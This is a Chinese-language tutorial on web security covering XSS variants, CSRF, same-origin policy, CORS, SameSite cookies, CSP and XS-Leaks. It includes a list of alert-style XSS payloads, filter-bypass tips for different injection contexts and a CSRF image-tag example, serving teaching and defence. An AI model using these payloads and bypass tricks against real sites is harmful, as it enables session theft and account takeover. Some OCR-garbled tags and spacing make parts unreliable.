整合營銷服務商
電腦端+手機端+微信端=數據同步管理
免費咨詢熱線：
電腦端+手機端+微信端=數據同步管理
免費咨詢熱線：
XSS全稱跨站腳本(Cross Site Scripting)，為避免與層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆，故縮寫為XSS。這是一種將任意 Javascript 代碼插入到其他Web用戶頁面里執行以達到攻擊目的的漏洞。攻擊者利用瀏覽器的動態展示數據功能，在HTML頁面里嵌入惡意代碼。當用戶瀏覽改頁時，這些潛入在HTML中的惡意代碼會被執行，用戶瀏覽器被攻擊者控制，從而達到攻擊者的特殊目的，如 cookie竊取等。
形成XSS漏洞的主要原因是程序對輸入和輸出的控制不夠嚴格，導致“精心構造”的腳本輸入后，在輸到前端時被瀏覽器當作有效代碼解析執行從而產生危害。
2021最新整理網絡安全/滲透測試/安全學習/100份src技術文檔（全套視頻、大廠面經、精品手冊、必備工具包、路線）一>關注我，私信回復"資料"獲取<一
攻擊者通過Web應用程序發送惡意代碼，一般以瀏覽器腳本的形式發送給不同的終端用戶。當一個Web程序的用戶輸入點沒有進行校驗和編碼，將很容易的導致XSS。
1、網絡釣魚，包括獲取各類用戶賬號
2、竊取用戶cookies資料，從而獲取用戶隱私信息，或利用用戶身份進一步對網站執行操作；
3、劫持用戶（瀏覽器）會話，從而執行任意操作，例如非法轉賬、強制發表日志、電子郵件等
4、強制彈出廣告頁面、刷流量等
5、網頁掛馬；
6、進行惡意操作，如任意篡改頁面信息、刪除文章等
7、進行大量的客戶端攻擊，如ddos等
8、獲取客戶端信息，如用戶的瀏覽歷史、真實p、開放端口等
9、控制受害者機器向其他網站發起攻擊；
10、結合其他漏洞，如csrf，實施進步危害；
11、提升用戶權限，包括進一步滲透網站
12、傳播跨站腳本蠕蟲等
形成XSS漏洞的主要原因是程序對輸入和輸出的控制不夠嚴格，導致“精心構造”的腳本輸入后，在輸到前端時被瀏覽器當作有效代碼解析執行從而產生危害。
因此在XSS漏洞的防范上，一般會采用“對輸入進行過濾”和“輸出進行轉義”的方式進行處理: 輸入過濾：對輸入進行過濾，不允許可能導致XSS攻擊的字符輸入; 輸出轉義：根據輸出點的位置對輸出到前端的內容進行適當轉義;
1、數據交互的地方
get、post、cookies、headers
反饋與瀏覽
富文本編輯器
各類標簽插入和自定義
2、數據輸出的地方
用戶資料
關鍵詞、標簽、說明
文件上傳
又稱非持久型XSS，這種攻擊方式往往具有一次性，只在用戶單擊時觸發。跨站代碼一般存在鏈接中，當受害者請求這樣的鏈接時，跨站代碼經過服務端反射回來，這類跨站的代碼通常不存儲服務端
常見注入點:
網站的搜索欄、用戶登錄入口、輸入表單等地方，常用來竊取客戶端cookies或釣魚欺騙。
漏洞產生原因一般是網站只是簡單地將用戶輸入的數據直接或未經過完善的安全過濾就在瀏覽器中進行輸岀，導致輸岀的欻據中存在可被瀏覽器執行的代碼數據
攻擊方式
攻擊者通過電子郵件等方式將包含XSS代碼的惡意鏈接發送給目標用戶。當目標用戶訪問該鏈接時，服務器接受該目標用戶的請求并進行處理，然后服務器把帶有XSS的代碼發送給目標用戶的瀏覽器，瀏覽器解析這段帶有XSS代碼的惡意腳本后，就會觸發XSS漏洞。
由于此種類型的跨站代碼存在于URL中，所以黑客通常需要通過誘騙或加密變形等方式將存在惡意代碼的鏈接發給用戶，只有用戶點擊以后才能使得攻擊成功實施。
反射型XSS攻擊的流程如下：
?
1.攻擊者尋找具有漏洞的網站
2.攻擊者給用戶發了一個帶有惡意字符串的鏈接
3.用戶點擊了該鏈接
4.服務器返回HTML文檔，此時該文檔已經包含了那個惡意字符串
5.客戶端執行了植入的惡意腳本，XSS攻擊就發生
存儲型XSS（ Stored xss Attacks），也是持久型XSS，比反射型XSS更具有威脅性。。攻擊腳本將被永久的存放在目標服務器的數據庫或文件中。這是利用起來最方便的跨站類型，跨站代碼存儲于服務端（比如數據庫中）
常見注入點
論壇、博客、留言板、網站的留言、評論、日志等交互處。
造成漏洞原因一般是由于Web應用程序對用戶輸入數據的不嚴格，導致Web應用程序將黑客輸入的惡意跨站攻擊數據信息保存在服務端的數據庫或其他文件形式中。
攻擊方式
攻擊者在發帖或留言的過程中，將惡意腳本連同正常信息一起注入到發布內容中。隨著發布內容被服務器存儲下來，惡意腳本也將永久的存放到服務器的后端存儲器中。當其他用戶瀏覽這個被注入了
惡意腳本的帖子時，惡意腳本就會在用戶的瀏覽器中得到執行。
存儲型ⅩSS攻擊的流程如下
1.用戶提交了一條包含XSS代碼的留言到數據庫
2.當目標用戶查詢留言時，那些留言的內容會從服務器解析之后加載出來
3.瀏覽器發現有XSS代碼，就當做正常的HTML和JS解析執行
DoM是文檔對象模型（ Document Object Model）的縮寫。它是HTML文檔的對象表示，同時也是外部內容（例如 JavaScript）與HTML元素之間的接口。解析樹的根節點是“ Document"對象。DOM（ Document object model），使用DOM能夠使程序和腳本能夠動態訪問和更新文檔的內容、結構和樣式。
它是基于DoM文檔對象的一種漏洞，并且DOM型XSS是基于JS上的，并不需要與服務器進行交互。
其通過修改頁面DOM節點數據信息而形成的ⅩSS跨站腳本攻擊。不同于反射型XSS和存儲型XSS，基于DOM的XSS跨站腳本攻擊往往需要針對具體的 Javascript DOM代碼進行分析，并根據實際情況進行XSS跨站腳本攻擊的利用。
一種基于DOM的跨站，這是客戶端腳本本身解析不正確導致的安全問題
注入點
通過js腳本對對文檔對象進行編輯，從而修改頁面的元素。也就是說，客戶端的腳本程序可以DOM動態修改頁面的內容，從客戶端獲取DOM中的數據并在本地執行。由于DOM是在客戶端修改節點的，所
以基于DOM型的XSS漏洞不需要與服務器端交互，它只發生在客戶端處理數據的階段。
攻擊方式
用戶請求一個經過專門設計的URL，它由攻擊者提供，而且其中包含XSS代碼。服務器的響應不會以任何形式包含攻擊者的腳本，當用戶的瀏覽器處理這個響應時，DOM對象就會處理XSS代碼，導致存
在XSS漏洞。
它的流程是這樣的：
1.攻擊者尋找具有漏洞的網站
2.攻擊者給用戶發了一個帶有惡意字符串的鏈接
3.用戶點擊了該鏈接
4.服務器返回HTML文檔，但是該文檔此時不包含那個惡意字符串
5.客戶端執行了該HTML文檔里的腳本，然后把惡意腳本植入了頁面
6.客服端執行了植入的惡意腳本，XSS攻擊就發生了
反射型XSS與DOM型區別：
1、反射型XSS攻擊中，服務器在返回HTML文檔的時候，就已經包含了惡意的腳本;
2、DOM型ⅩSS攻擊中，服務器在返回HTML文檔的時候，是不包含惡意腳本的；惡意腳本是在其執行了非惡意腳本后，被注入到文檔里的
通過JS腳本對對文檔對象進行編輯，從而修改頁面的元素。也就是說，客戶端的腳本程序可以DOM動態修改頁面的內容，從客戶端獲取DOM中的數據并在本地執行。由于DOM是在客戶端修改節點的，所以基于DOM型的XSS漏洞不需要與服務器端交互，它只發生在客戶端處理數據的階段。
不論是服務器端或客戶端的ⅩSS過濾器，都認定過濾后的HTM源代碼應該與瀏覽器所渲染后的HTML代碼保持一致，至少不會出現很大的出入
然而，如果用戶所提供的富文本內容通過 Javascript 代碼進屬性后，一些意外的變化會使得這個認定不再成立：一串看似沒有任何危害的HTML代碼，將逃過XSS過濾器的檢測，最終進入某個DOM節點中，瀏覽器的渲染引擎會將本來沒有任何危害的HTML代碼渲染成具有潛在危險的XSS攻擊代碼。 隨后，該段攻擊代碼，可能會被JS代碼中的其它一些流程輸出到DOM中或是其它方式被再次渲染，從而導致XSS的執行。這種由于HTML內容進后發生意外變化（ mutation，突變，來自遺傳學的一個單詞，大家都知道的基因突變，gene mutation），而最終導致XS的攻擊流程，被稱為突變XSS（mXSs, Mutation based Cross-Site-Scripting
通常通過innerHTML函數進行html代碼過濾
什么是HTML過濾器？為什么我們需要HTML過濾器？
許多web應用程序，以編輯器的形式，允許用戶使用一些特殊的文本格式（例如，粗體，斜體等等）。這個功能在博客，郵件當中使用甚廣。這里出現的主要安全問題就是有些不法用戶可能輸入一些惡意HTML/ avaScript從而引入XSS。 因此，這類允許用戶進行個性化輸入的應用程序的創建者就面臨一個很頭疼的問題如何確保用戶的輸入的HTML是安全的，從而不會引起不必要的XSS。 這就是為什么需要HTML過濾器的原因。HTML過濾器的主要目的是揪出不可信的輸入，對其進行過濾，并生成安全的HTML過濾所有危險標簽的HTML
舉個例子
解析后，輸入的html代碼變成下面格式
通過html過濾器，過濾不在白名單的代碼，得到如下無害html代碼，也不會傷害到用戶的正常功能
雖然HTML過濾器可以幫助我們處理大部分數據，能夠處理99%的威脅，但是最后一公里路還是要有瀏覽器來渲染加載。 我們看一個簡單的例子：
上面代碼一開始并沒有閉合的標簽，通過渲染后自動加入閉合標簽。
在賦值給 innerHTML之后，我們卻得到一個不同的值。由于 HTML/XML格式的靈活性，用戶可以輸入非規范的HTML，修復成規范的HTML就是瀏覽器的責任了。
道理我都懂，但是有沒有更直觀的例子？
首先分配一個<sg>標簽，<p>是它的子標簽。但是從DOM樹中我們可以發現，<p>元素實際上“跳出”了<svg>。發生這種情況的主要原因是<p>不是<sg>中的有效標簽，因此瀏覽器會在結束<SVg>后打開<p>
UXSS全稱Universal Cross-Site Scripting，翻譯過來就是通用型XSS，也叫Universal XSS。UXSS保留了基本XSS的特點，利用漏洞，執行惡意代碼，但是有一個重要的區別：不同于常見的XSS，UXSS是一種利用瀏覽器或者瀏覽器擴展漏洞來制造產生XSS的條件并執行代碼的一種攻擊類型。
俗的說，就是原來我們進行XSS攻擊等都是針對Web應用本身，是因為Web應用本身存在漏洞才能被我們利用攻擊；而UXSS不同的是通過瀏覽器或者瀏覽器擴展的漏洞來”制作ⅩSS漏洞”，然后剩下的我們就可以像普通XSS那樣利用攻擊了。
不同于常見的XSS,UXSS是一種利用瀏覽器或者瀏覽器擴展漏洞來制造產生XSS的條件并執行代碼的一種攻擊類型。UXSS是一種利用瀏覽器或者瀏覽器擴展漏洞來制造產生XSS的條件并執行代碼的一種攻擊類型。UXSS 可以理解為Bypass 同源策略。
常見的XSS攻擊的是因為客戶端或服務端的代碼開發不嚴謹等問題而存在漏洞的目標網站或者應用程序。這些攻擊的先決條件是頁面存在漏洞， 而它們的影響往往也圍繞著漏洞頁面本身的用戶會話。換句話說，因為瀏覽器的安全功能的影響，XSS攻擊只能讀取受感染的會話，而無法讀取其他的會話信息，也就是同源策略的影響。
1.IE8跨站腳本過濾器缺陷
David Lindsay和 Eduardo vela Nava已經在2010年的 BlackHat Europe展示了這個漏洞的UXSS利用。 IE8中內置了XSS過濾器，用于檢測反射XSS并采取糾正措施：在頁面渲染之前更改響應內容。在這種特殊情況下，等號將會被過濾器去除，但是通過精心構造的XSS字符串在特定的地方，這個邏輯會導致瀏覽器創建XSS條件。 微軟的響應是改變了XSS過濾器去除的字符。
2.IE8跨站腳本過濾器缺陷
移動設備也不例外，而且可以成為XSS攻擊的目標。 Chrome安卓版存在一個漏洞，允許攻擊者將惡意代碼注入到 Chrome通過 Intent對象加載的任意的Web頁面
3.安卓瀏覽器SOP繞過漏洞
限制于特定的安卓系統版本，因為 kitkat（ android 4.4）之前 webview組件使用webview內核而遺留的漏洞。該漏洞可以通過構造一個頁面，頁面嵌入 iframe ，然后通過\u0000進行瀏覽器的sop繞過進行XSS
那么UXSS與通常的XSS有什么影響的區別？
因為一些安全策略，即使一個漏洞頁面存在XSS，我們可以訪問它的用戶會話信息等但是無法訪問其他域的相關的會話信息，而因為UXSS是利用瀏覽器本身或者瀏覽器擴展程序的漏洞，所以對于攻擊發起時瀏覽器打開或緩存的所有頁面（即使不同域的情況）的會話信息都可以進行訪問。簡單的說，∪XSS不需要—個漏洞頁面來觸發攻擊，它可以滲透入安全沒有問題的頁面，從而創造一個漏洞，而該頁面原先是安全無漏洞的。 不僅是瀏覽器本身的漏洞，現在主流瀏覽器都支持擴展程序的安裝，而眾多的瀏覽器擴展程序可能導致帶來更多的漏洞和安全問題。 因為UXSS攻擊不需要頁面本身存在漏洞，同時可能訪問其他安全無漏洞頁面，使得UXSS成為XSS里危險和最具破壞性的攻擊類型之一
<imgsrc=javascript：alert("xss")>
<IMGSRC=javascript：alert(String.formCharCode(88,83,83))>
<imgscr="URL"style='Xss:expression(alert(/xss));'
imgSTYLE=“background-image:url(javascript：alert(‘XSS’))”
<imgsrc="x"onerror=alert(1)>
<imgsrc="1"onerror=eval("alert('xss')")>
<imgsrc=1onmouseover=alert('xss')>
<ahref="https://www.baidu.com">baidu</a>
<ahref="javascript：alert('xss')">aa</a>
<ahref=javascript：eval(alert('xss'))>aa</a>
<ahref="javascript：aaa"onmouseover="alert(/xss/)">aa</a>
<script>alert('xss')</script>
<ahref=""onclick=eval(alert('xss'))>aa</a>
<ahref=kycg.asp?ttt=1000onmouseover=prompt('xss')y=2016>aa</a>
<inputname="name"value="">
<inputvalue=""onclick=alert('xss')type="text">
<inputname="name"value=""onmouseover=prompt('xss')bad="">
<inputname="name"value=""><script>alert('xss')</script>
<formaction=javascript：alert('xss')method="get">
<formaction=javascript：alert('xss')>
<formmethod=postaction=aa.asp?onmouseover=prompt('xss')>
<formmethod=postaction=aa.asp?onmouseover=alert('xss')>
<formaction=1onmouseover=alert('xss)>
<formmethod=postaction="data:text/html;base64,<script>alert('xss')</script>">
<formmethod=postaction="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframesrc=javascript：alert('xss');height=5width=1000/><iframe>
<iframesrc="data:text/html,<script>alert('xss')</script>"></iframe>
<iframesrc="data:text/html;base64,<script>alert('xss')</script>">
<iframesrc="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframesrc="aaa"onmouseover=alert('xss')/><iframe>
<iframesrc="javascript:prompt(xss)"></iframe>
<svgonload=alert(1)>
由于HTTP協議是無狀態的協議，所以服務端需要記錄用戶的狀態時，就需要用某種機制來識具體的用戶，這個機制就是 Session
典型的場景比如購物車，當你點擊下單按鈕時，由于HTTP協議無狀態，所以并不知道是哪個用戶操作的，所以服務端要為特定的用戶創建了特定的 Session，用用于標識這個用戶，并且跟蹤用戶，這樣才知道購物車里面有幾本書。
這個 Session是保存在服務端的，有一個唯一標識。在服務端保存 Session的方法很多，內存、數據庫、文件都有。集群的時候也要考慮 Session的轉移，在大型的網站一般會有專門的 Session服務器集群，用來保存用戶會話，這個時候 Session信息都是放在內存的，使用一些緩存服務比如 Memcached之類的來放 Session。
思考一下服務端如何識別特定的客戶？這個時候 Cookie就登場了。
每次HTTP請求的時候，客戶端都會發送相應的Cookie信息到服務端。實際上大多數的應用都是用 Cookie來實現 Session跟蹤的，第一次創建 Session的時候，服務端會在HTTP協議中告訴客戶端，需要在Cookie里面記錄個SessionID，以后每次請求把這個會話ID發送到服務器，我就知道你是誰了。
設想你某次登陸過一個網站，只需要登錄一次就可以在一定時間內瀏覽這個網站的所有內容，這是如何做到的？也是 Cookie
Cookie是指某些網站為了辨別用戶身份而儲存在客戶端上的數據（通常經過加密）。也就是說，只要有了某個用戶的 cookie，就能以他的身份登錄
獲取cookie：
瀏覽器(客戶端)：document.cookie
服務器端(php)：$_COOKIE
舉例
知道了 cookie的格式， cookie的屬性選項，接下來我們就可以設置 cookie了。首先得明確一點：cookie既可以由服務端來設置，也可以由客戶端來設置。
1、一個Set-Cookie字段只能設置一個 cookie，當你要想設置多個 cookie，需要添加同樣多的Set- Cookie字段。 2、服務端可以設置 cookie的所有選項：expires、 domain、path、 secure、 HttpOnly
客戶端可以設置 cookie的下列選項：expires、 domain、path、 secure（有條件：只有在https協議的網頁中，客戶端設置 secure類型的 cookie才能成功），但無法設置 HttpOnly選項。
語言的解析般分為詞法分析（ lexical analysis）和語法分析（ Syntax analysis）兩個階段， Webkit中的HTML解析也不例外，我們這里主要關注詞法分析。
詞法分析的任務是對輸入字節流進行逐字掃描，根據構詞規則識別單詞和符號，分在WebKⅰt中，有兩個類，同詞法分析密切相關，它是 HTMLToken和HTMLTokenizer類，可以簡單將 HTMLToken類理解為標記， HTMLTokenizer類理解為詞法解析器。HTML詞法解析的任務，就是將輸入的字節流解析成一個個的標記（ HTMLToken），然后由語法解析器進行下一步的分析
在XML/HTML 的文檔解析中， token這個詞經常用到，我將其理解為一個有完整語義的單元（也就是分出來的“詞”），一個元素通常對應于3個 token，一個是元素的起始標簽，一個是元素的結束標簽，一個是元素的內容，這點同DOM樹是不一樣的，在DOM樹上，起始標簽和結束標簽對應于一個元素節點，而元素內容對應另一個節點。
除了起始標簽（ StartTag）、結束標簽（仼 drAg）和元素內容（ Character），HTM標簽還有 DOCTYPE（文檔類型） Comment（注釋）， Uninitialized（默認類型）和EndofFile（文檔結束）等類型，參見 HTMLToken h中的Type枚舉。
在HTML中，某些字符是預留的。例如在HTML中不能使用<或>，這是因為瀏覽器可能誤認為它們是標簽的開始或結束。如果希望正確地顯示預留字符，就需要在HTML中使用對應的字符實體。一個HTML字符實體描述如下
字符顯示 描述 實體名稱 實體編號
< 小于號 <<
需要注意的是，某些字符沒有實體名稱，但可以有實體編號
HTML的詞法分析：http://www.w3.org/TR/html5/tokenization.html
HTML的規范是相當寬松的，所以詞法解析要考慮到的問題很多，HTML5 specification 在這方面為實現者做了絕大部分工作。 不考慮類似<html>和<body>之間的回車換行
…
（1）輸入在標簽間的情況：測試<>是否被過濾或轉義，若無則直接<mgsc=1 onerror=alert(1)>
（2）輸入在 script標簽內：我們需要在保證內部JS語法正確的前提下，去插入我們的 payload。如果我們的輸岀在字符串內部，測試字符串能否被閉合。如果我們無法閉合包裹字符串的引號，這個點就很難利用了
可能的解決方案：可以控制兩處輸入且\可用、存在寬字節
（3）輸入在HTML屬性內：首先査看屬性是否有雙引號包裏、沒有則直接添加新的事件屬性；
有雙引號包裹則測試雙引號是否可用，可用則閉合屬性之后添加新的事件屬性；
TIP：HTML的屬性，如果被進行HTML實體編碼（形如'；'），那么HTML會對其進行自動解碼，從而我們可以在屬性里以HTML實體編碼的方式引入任意字符，從而方便我們在事件屬性里以JS的方式構造 payload。
（4）輸岀在JS中，空格被過濾：使用/**/代替空格。 （5）輸出在JS注釋中：設法插入換行符%0A，使其逃逸出來。 （6）輸入在JS字符串內：可以利用JS的十六進制、八進制、 unicode編碼。 （7）輸入在src/ href /action等屬性內：可以利用 javascript：alert(1)，以及data:text/html;base64;加上base64編碼后的HTML
（8） Chrome下 iframe自身的彈框姿勢
<iframe onload="alert(1)"></iframe>``<iframe src="javascript：alert(2)"></iframe>``<iframe src=data text/html, <script>alert(3)</script>></iframe>``<iframe srcdoc="<script>alert(4))</script>"></iframe>
（9）坑點之自帶 HtmlEncode（轉義）功能的標簽
<textarea>k/textarea>``<title></title>``<iframe ></iframe>``<noscript></noscript>``<noframes></noframes>``<xmp></xmp>``<plaintext></plaintext>
當我們的 XSS payload位于這些標簽中間時，并不會解析，除非我們把它們閉合掉。
CSRF（ Cross-site request forgery），中文名稱：跨站請求偽造，也被稱為：one click attack/ session riding，縮寫為：CSRF/XSRF。 可以這么理解CSRF攻擊：攻擊者盜用了你的身份，以你的名義發送惡意請求。CSRF能夠做的事情包括：以你名義發送郵件，發消息，盜取你的賬號，甚至于購買商品，虛擬貨幣轉賬……造成的問題包括：個人隱私泄露以及財產安全。 如果站點的管理員遭受CSRF攻擊，在知道相關請求參數的情況下，攻擊者可以借助管理員的權限來完成一些操作，如添加賬戶、上傳文件等。 從而，在一些公共系統（如購物網站等）和一些開源系統當中，CSRF的危害較大；在閉源系統中，單純的CSRF危害較小；不過這也是相對的，CSRF可以和XSS配合使用，從而實現較大的破壞。一旦利用成功，CSRF同樣可以進后臺、 getshell
從上圖可以看出，要完成一次CSRF攻擊，受害者必須依次完成兩個步驟
1.登錄受信任網站A，并在本地生成 Cookie。
2.在不登出A的情況下，訪問危險網站B。 看到這里，你也許會說：“如果我不滿足以上兩個條件中的一個，我就不會受到CSRF的攻擊”。
是的，確實如此，但你不能保證以下情況不會發生：
1.你不能保證你登錄了一個網站后，不再打開—個tab頁面并訪問另外的網站。
2.你不能保證你關閉瀏覽器了后，你本地的 Cookie立刻過期，你上次的會話已經結束。（事實上，關閉瀏覽器并不能一定結束一個會話，但有些人都會錯誤的認為關閉瀏覽器就等于退出登錄結束會話了…
3.上圖中所謂的攻擊網站，可能是一個存在其他漏洞的可信任的經常被人訪問的網站。
銀行網站A，它以GET請求來完成銀行轉賬的操作，如： http://www.mybank.com/transfer.php?tobankid=1l&money=1000存在一個危險網站B，它里面有一段HTML的代碼如下
<img src=http://www.mybank.com/transferphp？tobankld=11&moneY=1000>
首先，你登錄了銀行網站A，然后訪問危險網站B，噢，這時你會發現你的銀行賬戶少了1000塊，為什么會這樣呢？
原因是銀行網站A違反了HTTP規范，使用GET請求更新資源。在訪問危險網站B的之前，你已經登錄了銀行網站A，而B中的<mg>以GET的方式請求第三方資源（這里的第三方就是指銀行網站了，原本這是一個合法的請求，但這里被不法分子利用了），所以你的瀏覽器會帶上你的銀行網站A的 Cookie發出GET請求，去獲取資源"http://www.mybank.com/transfer.pHp?tobankid=11&money=1000"，結果銀行網站服務器收到請求后，認為這是一個更新資源操作（轉賬操作），所以就立刻進行轉賬操作…
1995年，同源政策由 Netscape公司引入瀏覽器。目前，所有瀏覽器都實行這個政策。最初，它的含義是指，A網頁設置的 Cookis，B網頁不能打開，除非這兩個網頁"同源"
所謂“同源”指的是“三個相同”：
協議相同
域名相同
端口相同
看看示例來小試牛刀
同源政策的目的，是為了保證用戶信息的安全，防止惡意的網站竊取數據。
設想這樣一種情況：A網站是一家銀行，用戶登錄以后，又去瀏覽其他網站。如果其他網站可以讀取A網站的 Cookie，會發生什么？
很顯然，如果 Cookie包含隱私（比如存款總額），這些信息就會泄漏。更可怕的是Cookie往往用來保存用戶的登錄狀態，如果用戶沒有退出登錄，其他網站就可以冒充用戶，為所欲為。因為瀏覽器同時還規定，提交表單不受同源政策的限制。
由此可見，"同源政策"是必需的，否則 Cookie可以共享，互聯網就毫無安全可言了。
隨著互聯網的發展，“同源政策” 越來越嚴格。目前，如果非同源，共有三種行為受到限制。
（1）Cookie、 LocalStorage 和 IndexDB 無法讀取。
（2）DOM無法獲得。
（3）AJAX請求不能發送。
當然，這些條件都是相對的，在某些特殊的情況下，我們也可以通過同源策略所允許的共享機制，完成非同源頁面之間數據的傳送。
所謂跨域，或者異源，是指主機名（域名）、協議、端口號 只要有其一不同，就為不同的域（或源）。瀏覽器中有一個基本的策略，叫同源策略，即限制"源"自A的腳本只能操作“同源”頁面的DOM。 瀏覽器中，< script>/<img>/< iframe>/<link>等標簽都是可以跨域來加載資源的而不受同源策略的影響。帶″src′屬性的標簽每次加載時，實際上都是瀏覽器發起次”GET”請求。
對于 XMLHttpRequest來說，它可以訪問來自同源對象的內容。但是不能夠跨域訪問資源。他需要通過目標域返回的HTTP頭授權是否允許跨域訪問，因為HTTP頭對于 javascript來說一般是無法控制的，所以認為這個方案是可行的。
對于瀏覽器來說：除了DOM、Cookie、XMLTttpRequest會受到同源策略的限制外，瀏覽器加載的第三方插件也有各自的同源策略。例如：flash,java applet, silverlight, coogle gears等。
跨域的方法
(1）用戶在網站B注冊并登錄，網站B包含了用戶的d,name,emai等信息
(2）用戶通過瀏覽器向網站A發出URL請求
(3）網站A向用戶返回響應頁面，響應頁面中注冊了 JavaScript的回調函數和向網站B請求的 script標簽，示例代碼如下`
(4）用戶收到響應，解析JS代碼，將回調函數作為參數向網站B發岀請求； (5）網站B接收到請求后，解析請求的URL，以SON格式生成請求需要的數據，將封裝的包含用戶信息的JSON數據作為回調函數的參數返回給瀏覽器，網站B返回的數據實例如下：Callback(){id"：l，"name"：test"，"email"：testatest com"})(6）網站B數據返回后，瀏覽器則自動執行 Callback函數對步驟4返回的JSON格式數據進行處理，通過alert 彈窗展示了用戶在網站B的注冊信息。另外也可將JSON數據回傳到網站A的服務器，這樣網站A利用網站B的JSONP漏洞便獲取到了用戶在網站B注冊的信息。
CORS是一個W3C標準，全稱是"跨域資源共享"”（ Cross-origin resource sharing）
它允許瀏覽器向跨源服務器，發出 XMLHttpRequest請求，從而克服了AJAX只能同源使用的限制。 CORS需要瀏覽器和服務器同時支持。目前，所有瀏覽器都支持該功能，IE瀏覽器不能低于IE10。
瀏覽器端：
目前，所有瀏覽器都支持該功能（IE10以下不行）。整個CORS通信過程，都是瀏覽器自動完成，不需要用戶參與。
服務端:
CORS通信與AJAX沒有任何差別，因此你不需要改變以前的業務邏輯。只不過，瀏覽器會在請求中攜帶一些頭信息，我們需要以此判斷是否運行其跨域，然后在響應頭中加入一些信息即可。這一般通過過濾器完成即可。
不符合簡單請求的條件，會被瀏覽器判定為特殊請求，例如請求方式為PUT
特殊請求會在正式通信之前，增加一次HTTP查詢請求，稱為"預檢"請求（ preflight）。
瀏覽器先詢問服務器，當前網頁所在的域名是否在服務器的許可名單之中，以及可以使用哪些HTTP動詞和頭信息字段。只有得到肯定答復，瀏覽器才會發出正式的XMLHttpRequest請求，否則就報錯。
與簡單請求相比，除了 Origin以外，多了兩個頭
Access-Control-Request-Method：接下來會用到的請求方式，比如PUT
Access- Control- Request-Headers：會額外用到的頭信息
服務的收到預檢請求，如果許可跨域，會發出響應
除了 Access-Contro-Allow-Origin和Aces-Contro-Allow-Credentials以外，這里又額外多出3個頭：
Access-Contro|-Allow-Methods：允許訪問的方式
Access-Control- Allow- Headers：允許攜帶的頭
Access-Control-Max-Age：本次許可的有效時長，單位是秒，過期之前的ajax請求就無需再次進行預檢了
如果瀏覽器得到上述響應，則認定為可以跨域，后續就跟簡單請求的處理是一樣的
Chrome51開始，瀏覽器的 Cookie新增加了—個 SameSite屬性，用來防止CSRF攻擊和用戶追蹤。
Cookie的 Samesite屬性用來限制第三方 Cookie，從而減少安全風險。它可以設置個值 Strict 、 Lax、 None
Strict最為嚴格，完全禁止第三方 Cookie，跨站點時，任何情況下都不會發送Cookie。換言之，只有當前網頁的URL與請求目標—致，才會帶上 Cookie。
Set-Cookie:CookieName=CookieValue:SameSite=Strict;
這個規則過于嚴格，可能造成非常不好的用戶體驗。比如，當前網頁有一個 GitHub鏈接，用戶點擊跳轉就不會帶有 GitHub的 Cookie，跳轉過去總是未登陸狀態。
Lax規則稍稍放寬，大多數情況也是不發送第三方 Cookie，但是導航到目標網址的Get請求除外。
Set-Cookie:CookieName=CookieValue;SameSite=Lax
導航到目標網址的GET請求，只包括三種情況：鏈接，預加載請求，GET表單。詳見下表。
Chrome計劃將Lax變為默認設置。這時，網站可以選擇顯式關閉 SameSite屬性將其設為None。不過，前提是必須同時設置 Secure屬性（ Cookie只能通過 Https協議發送），否則無效。
下面的設置無效:
Set-Cookie:widget_session=abc123;SameSite=None
下面的設置有效:
Set-Cookie:widget_session=abc123;SameSite=None;Secure
CSP全稱為 Content Security Policy，即內容安全策略。主要以白名單的形式配置可信任的內容來源，在網頁中，能夠使白名單中的內容正常執行（包含JS，CSS，Image等等），而非白名單的內容無法正常執行，從而減少跨站腳本攻擊（XSS），當然，也能夠減少運營商劫持的內容注入攻擊。
為使CSP可用，你需要配置你的網絡服務器返回Content-Security-Policy HTTP頭部（有時你會看到一些關于X-Content-Security-Policy頭部的提法，那是舊版本，你無須再如此指定它）
除此之外，<meta>元素也可以被用來配置該策略，例如
CSP旨在減少（注意這里是減少而不是消滅）跨站腳本攻擊。CSP是一種由開發者定義的安全性政策性申明，通過CSP所約束的的規責指定可信的內容來源（這里的內容可以指腳本、圖片、 iframe、font、 style等等可能的遠程的資源）。通過CSP協定，讓WEB處于—個相對安全的運行環境中。
無論是反射型/存儲型XSS都因為其 payload富于變化而難以被徹底根除。
而目前通過對輸入輸出的檢測瀏覽器自身的 filter 對反射型XSS有了一定的檢測能力，但是對于存儲型XSS仍然缺乏一個有效通用解決方案。
內容安全策略（csp）將在未來的XSS防御中扮演著日漸重要的角色。 但是由于瀏覽器的支持，XSS的環境復雜多變等問題，仍然會存在很多Bypass的方法。
跨站腳本泄漏（ Cross-Stie Leaks，又稱XS- Leaks/ XSLeaks），是一類利用Web平臺內置的側信道衍生出來的漏洞。其原理是利用網絡上的這種側信道來揭示用戶的敏感信息，如用戶在其他網絡應用中的數據、用戶本地環境信息，或者是用戶所連接的內部網絡信息等。
瀏覽器提供了各種各樣的功能來支持不同Web應用程序之間的互動；例如，瀏覽器允許一個網站加載子資源、導航或向另一個應用程序發送消息。雖然這些行為通常受到網絡平臺的安全機制的限制（例如同源政策），但XS- Leaks利用了網站之間互動過程中的各種行為來泄露用戶信息。
既然是側信道，那么這個信道從何而來呢？通常來說，這個信道需要結合題目設置的各種功能或者瀏覽器的某些特性，而往往這些功能或者特性對用戶的返回只有兩種回答，也就是類似SQL注入中布爾盲注攻擊一樣，只不過他放到了瀏覽器以及Web應用當中。舉個簡單例子，有這么一個搜索功能，對于用戶搜索的內容如果存在，則返回200碼，否則返回其他非200狀態碼響應，我們就可以從頭挨個通過Web服務返回的狀態碼來判斷自己傳遞的是否正確進而泄露Web服務當中的內容，于是我們還可以使用 onload等事件進一步進行自動化泄露。再舉個小例子，在沒有正確設置 SameSite的情況下，如果存在一些Web應用對于用戶沒有登錄返回403，登錄狀態返回200，則可以一些跨域標簽，比如 script可以依照這兩種狀態來判斷用戶是否登錄。
XS-Leaks并不是說可以直接造成什么危害巨大的漏洞，它更側重于Leak，側重于信息泄露方面。并且造成大多數XS-Leaks的根本原因是網絡設計上的問題，很多時候，web服務在沒有漏洞的情況下就容易受到些信息泄露的影響。但是在瀏覽器層面修復XS-Leaks也是及其困難的，因為在許多情況下，會影響到很多現有的Web服務，會對原有的Web服務造成巨大的沖擊。所以，要防御該類型的漏洞，通常是要使用各種嚴格的同源限制，才能達到預期效果。
js編碼
HTML實體編碼
URL編碼
String.fromCharCode編碼
在線xss轉碼：https://www.toolmao.com/xsstranser
JS提供了四種字符編碼的策略，
